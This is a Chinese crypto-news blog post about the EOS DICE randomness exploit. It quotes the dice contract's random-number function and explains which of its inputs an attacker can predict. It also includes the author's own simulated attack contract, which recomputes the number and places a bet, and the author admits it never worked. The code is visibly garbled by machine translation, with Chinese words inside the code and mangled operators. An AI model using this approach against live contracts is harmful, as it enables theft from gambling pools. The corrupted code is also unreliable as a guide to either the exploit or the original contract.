EOS DICE随机数被攻破：区块链游戏需要开源吗

尚力财经 2023年04月23日 03:16 265 0

EOS DICE随机数被攻破：区块链游戏需要开源吗-第1张图片-尚力财经

今天醒来看到eosDICE随机数居然被攻破了？

之前看过代码，觉得挺安全的。看来我还是太有味道了

随机数代码如下(来自GitHub)

uint 8 _ t random(account _ name name，uint 64 _ tgame _ id){ asset pool _ EOS=EOS io:token(n automixd=tapos _ block _ prefix()* tapos _ block _ num()name game _ id-current _ time()pool _ EOS . amount；const char * mixed char=reinterpret _ cast(mixd)；校验和256结果；sha256((char*)mixedChar，sizeof(mixedChar)，result)；uint 64 _ trandom _ num=*(uint 64 _ t *)(result . hash[0])*(uint 64 _ t *)(result . hash[8])*(uint 64 _ t *)(result . hash[16])*(uint 64 _ t *)(result . hash[24])；return(uint8_t)(random_num0 1)；}

你可以看到生成随机数有几个特别的东西

game_id这是增量的，可以得到account_name这是玩家的用户名，可以得到pool_eos这是当前合约的余额。如果短时间没人玩，就是taposblockprefix taposblocknum，可以得到一个固定值。这两个是块内的值。如果我用契约攻击，可以得到current_time的当前时间戳(契约用的是延迟事务)

当时看到这个契约的时候，其实也想过怎么攻击，但是发现变量很多，应该很难。攻击契约需要满足以下条件

。短时间内没人玩，否则gameid和pooleos会发生变化，导致你的攻击失败。你一定要把攻击契约和结果的时间控制在一个区块内，否则在taposblockprefix taposblocknum这两个数字会发生变化之前，我一直觉得是我不能攻击的时间，因为契约拿的是未来的时间(其实如果eos延迟契约运行的话，后面加上时间就好了。)如果你想明白这一点，也许我才是那个发财的人……

我写了一个模拟攻击契约。不知道是不是因为本地测试的原因。taposblockprefix taposblocknum一直配不上

其实我是想直接从合同里拿到他的game_id。但是一直没有成功……

Void Charity:Hi(uint 64 _ TGAME _ ID){ Asset Pool _ EOS=EOS IO:Token(n(EOS IO。Token))。Get _ balance (n (EOS Bocai222)，symbol _ type (s (4，EOS))pool _ EOS . amount=9985；uint 64 _ TT=当前时间()；t=1000000automixd=tapos _ block _ prefix()* tapos _ block _ num()_ self game _ id-t pool _ EOS . amount；const char * mixed char=reinterpret _ cast(mixd)；校验和256结果；sha256((char*)mixedChar，sizeof(mixedChar)，result)；uint 64 _ trandom _ num=*(uint 64 _ t *)(result . hash[0])*(uint 64 _ t *)(result . hash[8])*(uint 64 _ t *)(result . hash[16])*(uint 64 _ t *)(result . hash[24])；print('random'random_num0 1)；//return(uint 8 _ t)(random _ num % 100 1)；资产支出=资产(10000，S(4，EOS))；action(permission_level{_self，N(active)}，N(eosio.token)，N(transfer)，std:make_tuple(_self，N(eosbocai2222)，payout，std:string('dice-rrr-50-'))。send()；}

进行测试截图

EOS DICE随机数被攻破：区块链游戏需要开源吗-第2张图片-尚力财经